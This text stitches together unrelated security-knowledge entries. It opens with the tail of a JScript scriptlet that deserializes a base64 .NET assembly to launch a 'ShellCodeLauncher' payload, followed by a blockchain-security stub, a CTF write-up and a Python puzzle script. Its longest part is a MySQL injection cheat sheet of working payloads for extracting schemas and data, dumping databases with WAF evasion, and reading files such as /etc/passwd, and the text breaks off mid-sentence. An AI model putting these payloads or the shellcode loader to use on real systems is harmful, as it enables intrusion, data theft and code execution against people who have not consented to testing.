"AQABAAAAMAAAgAAAAAAAAAAAAAAAAAAAAQAAAAAASAAAAFhAAAB0AgAAAAAAAAAAAAB0AjQAAABW"+ "AFMAXwBWAEUAUgBTAEkATwBOAF8ASQBOAEYATwAAAAAAvQTv/gAAAQAAAAAAAAAAAAAAAAAAAAAA"+ "PwAAAAAAAAAEAAAAAgAAAAAAAAAAAAAAAAAAAEQAAAABAFYAYQByAEYAaQBsAGUASQBuAGYAbwAA"+ "AAAAJAAEAAAAVAByAGEAbgBzAGwAYQB0AGkAbwBuAAAAAAAAALAE1AEAAAEAUwB0AHIAaQBuAGcA"+ "RgBpAGwAZQBJAG4AZgBvAAAAsAEAAAEAMAAwADAAMAAwADQAYgAwAAAALAACAAEARgBpAGwAZQBE"+ "AGUAcwBjAHIAaQBwAHQAaQBvAG4AAAAAACAAAAAwAAgAAQBGAGkAbABlAFYAZQByAHMAaQBvAG4A"+ "AAAAADAALgAwAC4AMAAuADAAAABQABcAAQBJAG4AdABlAHIAbgBhAGwATgBhAG0AZQAAAHcAbQBp"+ "AF8AYwBzAF8AZABsAGwAXwBwAGEAeQBsAG8AYQBkAC4AZABsAGwAAAAAACgAAgABAEwAZQBnAGEA"+ "bABDAG8AcAB5AHIAaQBnAGgAdAAAACAAAABYABcAAQBPAHIAaQBnAGkAbgBhAGwARgBpAGwAZQBu"+ "AGEAbQBlAAAAdwBtAGkAXwBjAHMAXwBkAGwAbABfAHAAYQB5AGwAbwBhAGQALgBkAGwAbAAAAAAA"+ "NAAIAAEAUAByAG8AZAB1AGMAdABWAGUAcgBzAGkAbwBuAAAAMAAuADAALgAwAC4AMAAAADgACAAB"+ "AEEAcwBzAGUAbQBiAGwAeQAgAFYAZQByAHMAaQBvAG4AAAAwAC4AMAAuADAALgAwAAAAAAAAAAAA"+ "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ "AAAAAAAAAAAAAAAAAAAAAAAAIAAADAAAABA6AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ "AAAAAAAAAAAAAAAAAAAAAAENAAAABAAAAAkXAAAACQYAAAAJFgAAAAYaAAAAJ1N5c3RlbS5SZWZs"+ "ZWN0aW9uLkFzc2VtYmx5IExvYWQoQnl0ZVtdKQgAAAAKCwAA"; var entry_class = 'ShellCodeLauncher.Program'; try { setversion(); var stm = base64ToStream(serialized_obj); var fmt = new ActiveXObject('System.Runtime.Serialization.Formatters.Binary.BinaryFormatter'); var al = new ActiveXObject('System.Collections.ArrayList'); var d = fmt.Deserialize_2(stm); al.Add(undefined); var o = d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class); } catch (e) { debug(e.message); } ]]> </script> </component> </package> ``` > Micropoor
sec-knowleage
# Blockchain Security Overview > 区块链安全近几年发展比较迅速,但是 wiki 上没有相关内容,遂拉了几个小伙伴,一起撰写了区块链安全相关内容,可能某些用词不是很准确,还请见谅,也可以提问 issue,会及时更改 概述区块链安全的一些方向,主要分为 **公链安全** 和 **智能合约** 安全 ## 公链安全 待补充 ## 智能合约安全 主要介绍使用 `Solidity` 这种主流编程语言的 Ethereum 安全方面的基础知识。
sec-knowleage
# Treasure map (forensics/osint, 136p, 12 solved) A very weird challenge. We get a [pdf](pdf.pdf) to work with. We initially spent a lot of time analysing it, looking at the streams, fonts, etc. In the end someone noticed that the geographical locations names in the content of the pdf, at the very beginning are the same as at very end (they're repeated). This prompted us to think that there was supposed to be DCTF prefix and suffix, so maybe that's it. Then we needed even more time, to just by pure chance notice how one of the places `Kruglyy Prud` looks like on the map. It looked like a letter `D`. When we checked the other places we noticed that you could also associate them with letters/digits, and finally recover the flag.
sec-knowleage
from math import sqrt def is_prime(number): if number % 2 == 0: return False else: for divisor in range(3, int(sqrt(number)) + 1, 2): if number % divisor == 0: return False return True def epicfail(memes): if memes > 1: if is_prime(memes): return 1 + bill(memes - 1) else: return such(memes - 1) return 0 def dootdoot(memes, seals): if seals <= memes: if seals == 0: return 1 else: if seals == memes: return 1 else: return dootdoot(memes - 1, seals - 1) + dootdoot(memes - 1, seals) def such(memes): wow = dootdoot(memes, 5) if wow % 7 == 0: wew = bill(memes - 1) wow += 1 else: wew = epicfail(memes - 1) wow += wew return wow def precompute_fibonacci_mod_987654321(): table = [] N = 13379447+1 result = [0] * N result[1] = 1 for i in xrange(2, N): result[i] = (result[i-2] + result[i-1]) % 987654321 return result precomputed_fibonacci = precompute_fibonacci_mod_987654321() def fibonacci_mod_987654321(number): return precomputed_fibonacci[number] def bill(memes): wow = fibonacci_mod_987654321(memes) if wow % 3 == 0: wew = such(memes - 1) wow += 1 else: wew = epicfail(memes - 1) wow += wew return wow def me(): memes = 13379447 wew = epicfail(memes) print(wew) me()
sec-knowleage
# MYSQL Injection ## Summary * [MYSQL Default Databases](#mysql-default-databases) * [MYSQL Comments](#mysql-comments) * [MYSQL Union Based](#mysql-union-based) * [Detect columns number](#detect-columns-number) * [Extract database with information_schema](#extract-database-with-information_schema) * [Extract columns name without information_schema](#extract-columns-name-without-information_schema) * [Extract data without columns name](#extract-data-without-columns-name) * [MYSQL Error Based](#mysql-error-based) * [MYSQL Error Based - Basic](#mysql-error-based---basic) * [MYSQL Error Based - UpdateXML function](#mysql-error-based---updatexml-function) * [MYSQL Error Based - Extractvalue function](#mysql-error-based---extractvalue-function) * [MYSQL Blind](#mysql-blind) * [MYSQL Blind with substring equivalent](#mysql-blind-with-substring-equivalent) * [MYSQL Blind using a conditional statement](#mysql-blind-using-a-conditional-statement) * [MYSQL Blind with MAKE_SET](#mysql-blind-with-make_set) * [MYSQL Blind with LIKE](#mysql-blind-with-like) * [MYSQL Time Based](#mysql-time-based) * [Using SLEEP in a subselect](#using-sleep-in-a-subselect) * [Using conditional statements](#using-conditional-statements) * [MYSQL DIOS - Dump in One Shot](#mysql-dios---dump-in-one-shot) * [MYSQL Current queries](#mysql-current-queries) * [MYSQL Read content of a file](#mysql-read-content-of-a-file) * [MYSQL Write a shell](#mysql-write-a-shell) * [Into outfile method](#into-outfile-method) * [Into dumpfile method](#into-dumpfile-method) * [MYSQL UDF command execution](#mysql-udf-command-execution) * [MYSQL Truncation](#mysql-truncation) * [MYSQL Fast Exploitation](#mysql-fast-exploitation) * [MYSQL Out of band](#mysql-out-of-band) * [DNS exfiltration](#dns-exfiltration) * [UNC Path - NTLM hash stealing](#unc-path---ntlm-hash-stealing) * [References](#references) ## MYSQL Default Databases | Name | Description | |--------------------|--------------------------| | mysql | Requires root privileges | | information_schema | Availalble from version 5 and higher | ## MYSQL comments | Type | Description | |----------------------------|-----------------------------------| | `#` | Hash comment | | `/* MYSQL Comment */` | C-style comment | | `/*! MYSQL Special SQL */` | Special SQL | | `/*!32302 10*/` | Comment for MYSQL version 3.23.02 | | `-- -` | SQL comment | | `;%00` | Nullbyte | | \` | Backtick | ## MYSQL Testing Injection * **Strings**: Query like `SELECT * FROM Table WHERE id = 'FUZZ';` ``` ' False '' True " False "" True \ False \\ True ``` * **Numeric**: Query like `SELECT * FROM Table WHERE id = FUZZ;` ```ps1 AND 1 True AND 0 False AND true True AND false False 1-false Returns 1 if vulnerable 1-true Returns 0 if vulnerable 1*56 Returns 56 if vulnerable 1*56 Returns 1 if not vulnerable ``` * **Login**: Query like `SELECT * FROM Users WHERE username = 'FUZZ1' AND password = 'FUZZ2';` ```ps1 ' OR '1 ' OR 1 -- - " OR "" = " " OR 1 = 1 -- - '=' 'LIKE' '=0--+ ``` ## MYSQL Union Based ### Detect columns number First you need to know the number of columns ##### Using `order by` or `group by` Keep incrementing the number until you get a False response. Even though GROUP BY and ORDER BY have different funcionality in SQL, they both can be used in the exact same fashion to determine the number of columns in the query. ```sql 1' ORDER BY 1--+ #True 1' ORDER BY 2--+ #True 1' ORDER BY 3--+ #True 1' ORDER BY 4--+ #False - Query is only using 3 columns #-1' UNION SELECT 1,2,3--+ True ``` or ```sql 1' GROUP BY 1--+ #True 1' GROUP BY 2--+ #True 1' GROUP BY 3--+ #True 1' GROUP BY 4--+ #False - Query is only using 3 columns #-1' UNION SELECT 1,2,3--+ True ``` ##### Using `order by` or `group by` Error Based Similar to the previous method, we can check the number of columns with 1 request if error showing is enabled. ```sql 1' ORDER BY 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100--+ # Unknown column '4' in 'order clause' # This error means query uses 3 column #-1' UNION SELECT 1,2,3--+ True ``` or ```sql 1' GROUP BY 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100--+ # Unknown column '4' in 'group statement' # This error means query uses 3 column #-1' UNION SELECT 1,2,3--+ True ``` ##### Using `UNION SELECT` Error Based This method works if error showing is enabled ```sql 1' UNION SELECT @--+ #The used SELECT statements have a different number of columns 1' UNION SELECT @,@--+ #The used SELECT statements have a different number of columns 1' UNION SELECT @,@,@--+ #No error means query uses 3 column #-1' UNION SELECT 1,2,3--+ True ``` ##### Using `LIMIT INTO` Error Based This method works if error showing is enabled. It is useful for finding the number of columns when the injection point is after a LIMIT clause. ```sql 1' LIMIT 1,1 INTO @--+ #The used SELECT statements have a different number of columns 1' LIMIT 1,1 INTO @,@--+ #The used SELECT statements have a different number of columns 1' LIMIT 1,1 INTO @,@,@--+ #No error means query uses 3 column #-1' UNION SELECT 1,2,3--+ True ``` ##### Using `SELECT * FROM SOME_EXISTING_TABLE` Error Based This works if you know the table name you're after and error showing is enabled. It will return the amount of columns in the table, not the query. ```sql 1' AND (SELECT * FROM Users) = 1--+ #Operand should contain 3 column(s) # This error means query uses 3 column #-1' UNION SELECT 1,2,3--+ True ``` ### Extract database with information_schema Then the following codes will extract the databases'name, tables'name, columns'name. ```sql UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema=... UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,column_name,0x7C)+fRoM+information_schema.columns+wHeRe+table_name=... UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+... ``` ### Extract columns name without information_schema Method for `MySQL >= 4.1`. First extract the column number with ```sql ?id=(1)and(SELECT * from db.users)=(1) -- Operand should contain 4 column(s) ``` Then extract the column name. ```sql ?id=1 and (1,2,3,4) = (SELECT * from db.users UNION SELECT 1,2,3,4 LIMIT 1) --Column 'id' cannot be null ``` Method for `MySQL 5` ```sql -1 UNION SELECT * FROM (SELECT * FROM users JOIN users b)a --#1060 - Duplicate column name 'id' -1 UNION SELECT * FROM (SELECT * FROM users JOIN users b USING(id))a -- #1060 - Duplicate column name 'name' -1 UNION SELECT * FROM (SELECT * FROM users JOIN users b USING(id,name))a ... ``` ### Extract data without columns name Extracting data from the 4th column without knowing its name. ```sql select `4` from (select 1,2,3,4,5,6 union select * from users)dbname; ``` Injection example inside the query `select author_id,title from posts where author_id=[INJECT_HERE]` ```sql MariaDB [dummydb]> select author_id,title from posts where author_id=-1 union select 1,(select concat(`3`,0x3a,`4`) from (select 1,2,3,4,5,6 union select * from users)a limit 1,1); +-----------+-----------------------------------------------------------------+ | author_id | title | +-----------+-----------------------------------------------------------------+ | 1 | a45d4e080fc185dfa223aea3d0c371b6cc180a37:veronica80@example.org | +-----------+-----------------------------------------------------------------+ ``` ## MYSQL Error Based ### MYSQL Error Based - Basic Works with `MySQL >= 4.1` ```sql (select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1)) '+(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+' ``` ### MYSQL Error Based - UpdateXML function ```sql AND updatexml(rand(),concat(CHAR(126),version(),CHAR(126)),null)- AND updatexml(rand(),concat(0x3a,(SELECT concat(CHAR(126),schema_name,CHAR(126)) FROM information_schema.schemata LIMIT data_offset,1)),null)-- AND updatexml(rand(),concat(0x3a,(SELECT concat(CHAR(126),TABLE_NAME,CHAR(126)) FROM information_schema.TABLES WHERE table_schema=data_column LIMIT data_offset,1)),null)-- AND updatexml(rand(),concat(0x3a,(SELECT concat(CHAR(126),column_name,CHAR(126)) FROM information_schema.columns WHERE TABLE_NAME=data_table LIMIT data_offset,1)),null)-- AND updatexml(rand(),concat(0x3a,(SELECT concat(CHAR(126),data_info,CHAR(126)) FROM data_table.data_column LIMIT data_offset,1)),null)-- ``` Shorter to read: ```sql ' and updatexml(null,concat(0x0a,version()),null)-- - ' and updatexml(null,concat(0x0a,(select table_name from information_schema.tables where table_schema=database() LIMIT 0,1)),null)-- - ``` ### MYSQL Error Based - Extractvalue function Works with `MySQL >= 5.1` ```sql ?id=1 AND extractvalue(rand(),concat(CHAR(126),version(),CHAR(126)))-- ?id=1 AND extractvalue(rand(),concat(0x3a,(SELECT concat(CHAR(126),schema_name,CHAR(126)) FROM information_schema.schemata LIMIT data_offset,1)))-- ?id=1 AND extractvalue(rand(),concat(0x3a,(SELECT concat(CHAR(126),TABLE_NAME,CHAR(126)) FROM information_schema.TABLES WHERE table_schema=data_column LIMIT data_offset,1)))-- ?id=1 AND extractvalue(rand(),concat(0x3a,(SELECT concat(CHAR(126),column_name,CHAR(126)) FROM information_schema.columns WHERE TABLE_NAME=data_table LIMIT data_offset,1)))-- ?id=1 AND extractvalue(rand(),concat(0x3a,(SELECT concat(CHAR(126),data_info,CHAR(126)) FROM data_table.data_column LIMIT data_offset,1)))-- ``` ### MYSQL Error Based - NAME_CONST function (only for constants) Works with `MySQL >= 5.0` ```sql ?id=1 AND (SELECT * FROM (SELECT NAME_CONST(version(),1),NAME_CONST(version(),1)) as x)-- ?id=1 AND (SELECT * FROM (SELECT NAME_CONST(user(),1),NAME_CONST(user(),1)) as x)-- ?id=1 AND (SELECT * FROM (SELECT NAME_CONST(database(),1),NAME_CONST(database(),1)) as x)-- ``` ## MYSQL Blind ### MYSQL Blind with substring equivalent ```sql ?id=1 and substring(version(),1,1)=5 ?id=1 and right(left(version(),1),1)=5 ?id=1 and left(version(),1)=4 ?id=1 and ascii(lower(substr(Version(),1,1)))=51 ?id=1 and (select mid(version(),1,1)=4) ?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables > 'A' ?id=1 AND SELECT SUBSTR(column_name,1,1) FROM information_schema.columns > 'A' ``` ### MySQL Blind SQL Injection in ORDER BY clause using a binary query and REGEXP This query basically orders by one column or the other, depending on whether the EXISTS() returns a 1 or not. For the EXISTS() function to return a 1, the REGEXP query needs to match up, this means you can bruteforce blind values character by character and leak data from the database without direct output. ``` [...] ORDER BY (SELECT (CASE WHEN EXISTS(SELECT [COLUMN] FROM [TABLE] WHERE [COLUMN] REGEXP "^[BRUTEFORCE CHAR BY CHAR].*" AND [FURTHER OPTIONS / CONDITIONS]) THEN [ONE COLUMN TO ORDER BY] ELSE [ANOTHER COLUMN TO ORDER BY] END)); -- - ``` ### MySQL Blind SQL Injection binary query using REGEXP. Payload: ``` ' OR (SELECT (CASE WHEN EXISTS(SELECT name FROM items WHERE name REGEXP "^a.*") THEN SLEEP(3) ELSE 1 END)); -- - ``` Would work in the query (where the "where" clause is the injection point): ``` SELECT name,price FROM items WHERE name = '' OR (SELECT (CASE WHEN EXISTS(SELECT name FROM items WHERE name REGEXP "^a.*") THEN SLEEP(3) ELSE 1 END)); -- -'; ``` In said query, it will check to see if an item exists in the "name" column in the "items" database that starts with an "a". If it will sleep for 3 seconds per item. ### MYSQL Blind using a conditional statement TRUE: `if @@version starts with a 5`: ```sql 2100935' OR IF(MID(@@version,1,1)='5',sleep(1),1)='2 Response: HTTP/1.1 500 Internal Server Error ``` False: `if @@version starts with a 4`: ```sql 2100935' OR IF(MID(@@version,1,1)='4',sleep(1),1)='2 Response: HTTP/1.1 200 OK ``` ### MYSQL Blind with MAKE_SET ```sql AND MAKE_SET(YOLO<(SELECT(length(version()))),1) AND MAKE_SET(YOLO<ascii(substring(version(),POS,1)),1) AND MAKE_SET(YOLO<(SELECT(length(concat(login,password)))),1) AND MAKE_SET(YOLO<ascii(substring(concat(login,password),POS,1)),1) ``` ### MYSQL Blind with LIKE ['_'](https://www.w3resource.com/sql/wildcards-like-operator/wildcards-underscore.php) acts like the regex character '.', use it to speed up your blind testing ```sql SELECT cust_code FROM customer WHERE cust_name LIKE 'k__l'; ``` ## MYSQL Time Based The following SQL codes will delay the output from MySQL. * MySQL 4/5 : `BENCHMARK()` ```sql +BENCHMARK(40000000,SHA1(1337))+ '%2Bbenchmark(3200,SHA1(1))%2B' AND [RANDNUM]=BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')) //SHA1 ``` * MySQL 5: `SLEEP()` ```sql RLIKE SLEEP([SLEEPTIME]) OR ELT([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME])) ``` ### Using SLEEP in a subselect ```powershell 1 and (select sleep(10) from dual where database() like '%')# 1 and (select sleep(10) from dual where database() like '___')# 1 and (select sleep(10) from dual where database() like '____')# 1 and (select sleep(10) from dual where database() like '_____')# 1 and (select sleep(10) from dual where database() like 'a____')# ... 1 and (select sleep(10) from dual where database() like 's____')# 1 and (select sleep(10) from dual where database() like 'sa___')# ... 1 and (select sleep(10) from dual where database() like 'sw___')# 1 and (select sleep(10) from dual where database() like 'swa__')# 1 and (select sleep(10) from dual where database() like 'swb__')# 1 and (select sleep(10) from dual where database() like 'swi__')# ... 1 and (select sleep(10) from dual where (select table_name from information_schema.columns where table_schema=database() and column_name like '%pass%' limit 0,1) like '%')# ``` ### Using conditional statements ```sql ?id=1 AND IF(ASCII(SUBSTRING((SELECT USER()),1,1)))>=100,1, BENCHMARK(2000000,MD5(NOW()))) -- ?id=1 AND IF(ASCII(SUBSTRING((SELECT USER()), 1, 1)))>=100, 1, SLEEP(3)) -- ?id=1 OR IF(MID(@@version,1,1)='5',sleep(1),1)='2 ``` ## MYSQL DIOS - Dump in One Shot ```sql (select (@) from (select(@:=0x00),(select (@) from (information_schema.columns) where (table_schema>=@) and (@)in (@:=concat(@,0x0D,0x0A,' [ ',table_schema,' ] > ',table_name,' > ',column_name,0x7C))))a)# (select (@) from (select(@:=0x00),(select (@) from (db_data.table_data) where (@)in (@:=concat(@,0x0D,0x0A,0x7C,' [ ',column_data1,' ] > ',column_data2,' > ',0x7C))))a)# -- SecurityIdiots make_set(6,@:=0x0a,(select(1)from(information_schema.columns)where@:=make_set(511,@,0x3c6c693e,table_name,column_name)),@) -- Profexer (select(@)from(select(@:=0x00),(select(@)from(information_schema.columns)where(@)in(@:=concat(@,0x3C62723E,table_name,0x3a,column_name))))a) -- Dr.Z3r0 (select(select concat(@:=0xa7,(select count(*)from(information_schema.columns)where(@:=concat(@,0x3c6c693e,table_name,0x3a,column_name))),@)) -- M@dBl00d (Select export_set(5,@:=0,(select count(*)from(information_schema.columns)where@:=export_set(5,export_set(5,@,table_name,0x3c6c693e,2),column_name,0xa3a,2)),@,2)) -- Zen +make_set(6,@:=0x0a,(select(1)from(information_schema.columns)where@:=make_set(511,@,0x3c6c693e,table_name,column_name)),@) -- Zen WAF (/*!12345sELecT*/(@)from(/*!12345sELecT*/(@:=0x00),(/*!12345sELecT*/(@)from(`InFoRMAtiON_sCHeMa`.`ColUMNs`)where(`TAblE_sCHemA`=DatAbAsE/*data*/())and(@)in(@:=CoNCat%0a(@,0x3c62723e5461626c6520466f756e64203a20,TaBLe_nAMe,0x3a3a,column_name))))a) -- ~tr0jAn WAF +concat/*!(unhex(hex(concat/*!(0x3c2f6469763e3c2f696d673e3c2f613e3c2f703e3c2f7469746c653e,0x223e,0x273e,0x3c62723e3c62723e,unhex(hex(concat/*!(0x3c63656e7465723e3c666f6e7420636f6c6f723d7265642073697a653d343e3c623e3a3a207e7472306a416e2a2044756d7020496e204f6e652053686f74205175657279203c666f6e7420636f6c6f723d626c75653e28574146204279706173736564203a2d20207620312e30293c2f666f6e743e203c2f666f6e743e3c2f63656e7465723e3c2f623e))),0x3c62723e3c62723e,0x3c666f6e7420636f6c6f723d626c75653e4d7953514c2056657273696f6e203a3a20,version(),0x7e20,@@version_comment,0x3c62723e5072696d617279204461746162617365203a3a20,@d:=database(),0x3c62723e44617461626173652055736572203a3a20,user(),(/*!12345selEcT*/(@x)/*!from*/(/*!12345selEcT*/(@x:=0x00),(@r:=0),(@running_number:=0),(@tbl:=0x00),(/*!12345selEcT*/(0) from(information_schema./**/columns)where(table_schema=database()) and(0x00)in(@x:=Concat/*!(@x, 0x3c62723e, if( (@tbl!=table_name), Concat/*!(0x3c666f6e7420636f6c6f723d707572706c652073697a653d333e,0x3c62723e,0x3c666f6e7420636f6c6f723d626c61636b3e,LPAD(@r:=@r%2b1, 2, 0x30),0x2e203c2f666f6e743e,@tbl:=table_name,0x203c666f6e7420636f6c6f723d677265656e3e3a3a204461746162617365203a3a203c666f6e7420636f6c6f723d626c61636b3e28,database(),0x293c2f666f6e743e3c2f666f6e743e,0x3c2f666f6e743e,0x3c62723e), 0x00),0x3c666f6e7420636f6c6f723d626c61636b3e,LPAD(@running_number:=@running_number%2b1,3,0x30),0x2e20,0x3c2f666f6e743e,0x3c666f6e7420636f6c6f723d7265643e,column_name,0x3c2f666f6e743e))))x)))))*/+ -- ~tr0jAn Benchmark +concat(0x3c666f6e7420636f6c6f723d7265643e3c62723e3c62723e7e7472306a416e2a203a3a3c666f6e7420636f6c6f723d626c75653e20,version(),0x3c62723e546f74616c204e756d626572204f6620446174616261736573203a3a20,(select count(*) from information_schema.schemata),0x3c2f666f6e743e3c2f666f6e743e,0x202d2d203a2d20,concat(@sc:=0x00,@scc:=0x00,@r:=0,benchmark(@a:=(select count(*) from information_schema.schemata),@scc:=concat(@scc,0x3c62723e3c62723e,0x3c666f6e7420636f6c6f723d7265643e,LPAD(@r:=@r%2b1,3,0x30),0x2e20,(Select concat(0x3c623e,@sc:=schema_name,0x3c2f623e) from information_schema.schemata where schema_name>@sc order by schema_name limit 1),0x202028204e756d626572204f66205461626c657320496e204461746162617365203a3a20,(select count(*) from information_Schema.tables where table_schema=@sc),0x29,0x3c2f666f6e743e,0x202e2e2e20 ,@t:=0x00,@tt:=0x00,@tr:=0,benchmark((select count(*) from information_Schema.tables where table_schema=@sc),@tt:=concat(@tt,0x3c62723e,0x3c666f6e7420636f6c6f723d677265656e3e,LPAD(@tr:=@tr%2b1,3,0x30),0x2e20,(select concat(0x3c623e,@t:=table_name,0x3c2f623e) from information_Schema.tables where table_schema=@sc and table_name>@t order by table_name limit 1),0x203a20284e756d626572204f6620436f6c756d6e7320496e207461626c65203a3a20,(select count(*) from information_Schema.columns where table_name=@t),0x29,0x3c2f666f6e743e,0x202d2d3a20,@c:=0x00,@cc:=0x00,@cr:=0,benchmark((Select count(*) from information_schema.columns where table_schema=@sc and table_name=@t),@cc:=concat(@cc,0x3c62723e,0x3c666f6e7420636f6c6f723d707572706c653e,LPAD(@cr:=@cr%2b1,3,0x30),0x2e20,(Select (@c:=column_name) from information_schema.columns where table_schema=@sc and table_name=@t and column_name>@c order by column_name LIMIT 1),0x3c2f666f6e743e)),@cc,0x3c62723e)),@tt)),@scc),0x3c62723e3c62723e,0x3c62723e3c62723e)+ -- N1Z4M WAF +/*!13337concat*/(0x3c616464726573733e3c63656e7465723e3c62723e3c68313e3c666f6e7420636f6c6f723d22526564223e496e6a6563746564206279204e315a344d3c2f666f6e743e3c68313e3c2f63656e7465723e3c62723e3c666f6e7420636f6c6f723d2223663364393361223e4461746162617365207e3e3e203c2f666f6e743e,database/**N1Z4M**/(),0x3c62723e3c666f6e7420636f6c6f723d2223306639643936223e56657273696f6e207e3e3e203c2f666f6e743e,@@version,0x3c62723e3c666f6e7420636f6c6f723d2223306637363964223e55736572207e3e3e203c2f666f6e743e,user/**N1Z4M**/(),0x3c62723e3c666f6e7420636f6c6f723d2223306639643365223e506f7274207e3e3e203c2f666f6e743e,@@port,0x3c62723e3c666f6e7420636f6c6f723d2223346435613733223e4f53207e3e3e203c2f666f6e743e,@@version_compile_os,0x2c3c62723e3c666f6e7420636f6c6f723d2223366134343732223e44617461204469726563746f7279204c6f636174696f6e207e3e3e203c2f666f6e743e,@@datadir,0x3c62723e3c666f6e7420636f6c6f723d2223333130343362223e55554944207e3e3e203c2f666f6e743e,UUID/**N1Z4M**/(),0x3c62723e3c666f6e7420636f6c6f723d2223363930343637223e43757272656e742055736572207e3e3e203c2f666f6e743e,current_user/**N1Z4M**/(),0x3c62723e3c666f6e7420636f6c6f723d2223383432303831223e54656d70204469726563746f7279207e3e3e203c2f666f6e743e,@@tmpdir,0x3c62723e3c666f6e7420636f6c6f723d2223396336623934223e424954532044455441494c53207e3e3e203c2f666f6e743e,@@version_compile_machine,0x3c62723e3c666f6e7420636f6c6f723d2223396630613838223e46494c452053595354454d207e3e3e203c2f666f6e743e,@@CHARACTER_SET_FILESYSTEM,0x3c62723e3c666f6e7420636f6c6f723d2223393234323564223e486f7374204e616d65207e3e3e203c2f666f6e743e,@@hostname,0x3c62723e3c666f6e7420636f6c6f723d2223393430313333223e53797374656d2055554944204b6579207e3e3e203c2f666f6e743e,UUID/**N1Z4M**/(),0x3c62723e3c666f6e7420636f6c6f723d2223613332363531223e53796d4c696e6b20207e3e3e203c2f666f6e743e,@@GLOBAL.have_symlink,0x3c62723e3c666f6e7420636f6c6f723d2223353830633139223e53534c207e3e3e203c2f666f6e743e,@@GLOBAL.have_ssl,0x3c62723e3c666f6e7420636f6c6f723d2223393931663333223e42617365204469726563746f7279207e3e3e203c2f666f6e743e,@@basedir,0x3c62723e3c2f616464726573733e3c62723e3c666f6e7420636f6c6f723d22626c7565223e,(/*!13337select*/(@a)/*!13337from*/(/*!13337select*/(@a:=0x00),(/*!13337select*/(@a)/*!13337from*/(information_schema.columns)/*!13337where*/(table_schema!=0x696e666f726d6174696f6e5f736368656d61)and(@a)in(@a:=/*!13337concat*/(@a,table_schema,0x3c666f6e7420636f6c6f723d22726564223e20203a3a203c2f666f6e743e,table_name,0x3c666f6e7420636f6c6f723d22726564223e20203a3a203c2f666f6e743e,column_name,0x3c62723e))))a))+ -- sharik (select(@a)from(select(@a:=0x00),(select(@a)from(information_schema.columns)where(table_schema!=0x696e666f726d6174696f6e5f736368656d61)and(@a)in(@a:=concat(@a,table_name,0x203a3a20,column_name,0x3c62723e))))a) ``` ## MYSQL Current queries This table can list all operations that DB is performing at the moment. ```sql union SELECT 1,state,info,4 FROM INFORMATION_SCHEMA.PROCESSLIST # -- Dump in one shot example for the table content. union select 1,(select(@)from(select(@:=0x00),(select(@)from(information_schema.processlist)where(@)in(@:=concat(@,0x3C62723E,state,0x3a,info))))a),3,4 # ``` ## MYSQL Read content of a file Need the `filepriv`, otherwise you will get the error : `ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement` ```sql ' UNION ALL SELECT LOAD_FILE('/etc/passwd') -- ``` ```sql UNION ALL SELECT TO_base64(LOAD_FILE('/var/www/html/index.php')); ``` If you are `root` on the database, you can re-enable the 